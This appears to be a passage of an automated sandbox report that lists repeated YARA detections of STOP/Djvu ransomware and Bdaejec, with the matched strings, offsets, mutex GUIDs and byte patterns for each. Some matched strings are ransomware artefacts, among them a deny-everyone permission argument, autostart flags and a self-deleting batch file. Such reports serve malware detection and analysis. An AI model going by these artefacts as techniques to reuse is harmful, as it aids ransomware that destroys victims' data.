Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7636	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32b2f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: VOsoyD.exe PID: 7652	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7724	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7724	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3bf58:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
